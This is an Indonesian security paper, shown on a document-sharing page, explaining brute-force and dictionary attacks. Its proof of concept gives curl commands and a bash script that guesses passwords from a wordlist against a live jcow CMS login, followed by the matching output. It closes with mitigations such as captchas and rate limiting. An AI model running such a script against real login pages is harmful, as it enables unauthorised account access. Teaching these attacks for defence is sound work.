bruteforce basic (paper) - linx

3

Click here to load reader

Upload: idsecconf

Post on 17-Dec-2014

1.071 views

Category:

Technology


1 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Bruteforce basic (paper) - linx

Author : Linggar PrimahastokoSite : http://linx.web.idMail : [email protected]

Brute force, Dictionary attack, and The Implementation

======Pendahuluan=======

Di dalam dunia yang mengutamakan tentang keamanan ini, hampir semua akses-akses penting memiliki 2 hal yang saling berkaitan dan tidak bisa lepas, yaitu otentikasi dan otorisasi. Tentang bagaimana masuk ke dalam sebuah sistem dan bagaimana cara dari sistem untuk mengenali pihak-pihak yang boleh masuk dan tidak boleh masuk. Kedua hal ini sekarang lebih ditekankan pada sebuah penggunaan username dan password.

Pada artikel kali ini, akan dibahas tentang apa itu teknik brute force (yang berlanjut ke masalah dictionary attack) dan bagaimana implementasinya pada sebuah sistem yang vulnerable akan hal itu.

Apa itu brute force?

Brute force adalah sebuah serangan terhadap sistem di mana penyerang mencoba memasuki sebuah sistem dengan memasukkan semua kata kunci yang memungkinkan. Lebih tepatnya penyerang akan memasukkan satu-satu sebuah kata kunci (password) dari berbagai kemungkinan untuk mendapatkan suatu akses. Biasanya brute force dilakukan untuk memasuki sebuah sistem dan juga digunakan untuk memecahkan suatu enkripsi satu arah (one way hash).

Tetapi brute force ini memiliki kelemahan, yaitu karena banyaknya kemungkinan yang digunakan, waktu pemrosesan membutuhkan waktu yang sangat lama, yang bahkan estimasi waktunya bisa berjangka tahunan. Maka dari itu kemungkinan itu diperkecil dengan adanya sebuah teknik bernama “dictionary attack”. Intinya, pembatasan yang dilakukan pada dictionary attack adalah seorang penyerang membatasi apa saja kata-kata yang akan digunakan sebagai sebuah kata kunci.

======PoC=======

Kali ini,akan saya berikan sebuah contoh bagaimana melakukan brute force dengan cara yang sangat sederhana. Sistem yang akan dicoba adalah sebuah CMS bernama jcow. Saya akan mencoba melakukan brute force dengan instruksi pada unix.

Pertama, kita mendaftar pada sebuah situs yang menggunakan jcow CMS (pada kasus ini saya menggunakan contoh http://salingsapa.com). Saya membuat dengan username 'linxnyoba' dan dengan password 'blognyalinx' (tanpa quote). Lalu akan kita coba untuk masuk dengan user account yang salah untuk mendapatkan parameter yang akan dijadikan sebagai sebuah kunci.

Page 2: Bruteforce basic (paper) - linx

Terlihat sebuah peringatan bahwa data yang digunakan untuk masuk adalah data yang salah.

Setelah itu kita melakukan sebuah instruksi post data dan pengolahan kata untuk mendapatkan kata kunci wrong tadi.

sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=tes" http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}'Wrongsicuser@gate-linx:/data/linx/post$

Sekarang kita mencoba apa yang akan terjadi ketika data yang dikirimkan bernilai true.

sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=blognyalinx" http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}'sicuser@gate-linx:/data/linx/post$

Tidak terjadi apa-apa ketika data yang dikirimkan bernilai true. Dari hal ini kita bisa mendapatkan logika bahwa ketika instruksi di atas dikirimkan dengan data yang bernilai false, akan didapatkan kata 'Wrong', dan jika data yang dikirimkan bernilai true, tidak ada output yang muncul. Dari situ, kita bisa membuat sebuah script sederhana (dalam kasus ini saya menggunakan shell scripting) untuk mengimplementasikan sebuah dictionary attack pada sistem itu.

Kita buat sebuah wordlist dengan isi kata-kata yang yang akan kita coba masukkan. Lalu script sederhana yang saya buat untuk implementasi dictionary attack sebagai berikut.

#!/bin/bash

for i in `cat wordlist.txt`dokunci=`curl -s -d "username=linxnyoba&password=$i" http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}'`if [ "$kunci" = "Wrong" ];then echo $i bukan passwordelse echo $i > password && exit;fi

Page 3: Bruteforce basic (paper) - linx

done

Setelah itu kita coba jalankan scriptnya

sicuser@gate-linx:/data/linx/post$ cat wordlist.txt cobacobihuahahablognyalinxtestingtestangsicuser@gate-linx:/data/linx/post$ sh brute.sh cobacobi bukan passwordhuahaha bukan passwordsicuser@gate-linx:/data/linx/post$ lsbrute.sh password wordlist.txtsicuser@gate-linx:/data/linx/post$ cat password blognyalinx

Yak, kita dapatkan password dari user account yang telah kita buat tadi. Jadi untuk penjelasan bagaimana script itu berjalan adalah, pertama kita buat perulangan proses login dengan menggunakan password yang ada di dalam file wordlist.txt. Lalu kita buat sebuah penanda ketika data yang dikirimkan itu salah, yaitu kata 'Wrong'. Setelah itu, untuk outputnya, ketika password yang dimasukkan salah, akan ada output '$password bukan password', sedangkan ketika data yang dimasukkan benar, akan muncul sebuah file password dengan isi password yang benar dan program akan berhenti.

======Penutup=======

Pada kasus kali ini, sistem web yang vulnerable akan sebuah dictionary attack dan brute force, kekurangan pada sistem adalah sistem captcha yang dapat memberikan perlindungan pada situs, sehingga bot tidak dapat melakukan proses perulangan pada sebuah sistem. Selain itu pembatasan dapat dilakukan dari sisi server, yaitu pada pembatasan jumlah request yang sama pada selang waktu yang dekat, sehingga proses brute force relatif dapat dihindari.

Dari hal-hal di atas, dapat diambil sebuah kesimpulan, bahwa sebuah brute force dan dictionary attack dapat dilakukan dengan cara yang sangat sederhana, tidak melihat software apa yang digunakan, karena yang paling penting adalah tentang konsep dan logika yang digunakan.

======Reference=======

http://en.wikipedia.org/wiki/Brute-force_attackhttp://en.wikipedia.org/wiki/Dictionary_attackhttp://curl.haxx.se/docs/manpage.html